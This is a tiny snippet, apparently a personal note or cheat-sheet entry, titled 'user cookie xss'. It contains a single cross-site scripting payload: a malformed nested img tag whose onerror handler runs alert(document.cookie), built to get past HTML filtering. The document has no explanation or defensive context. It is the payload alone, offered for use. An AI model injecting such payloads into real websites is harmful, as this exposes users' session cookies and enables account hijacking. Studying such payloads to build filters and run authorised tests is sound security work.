user cookie xss

<img src="<img src=search"/onerror=alert(document.cookie)//">

//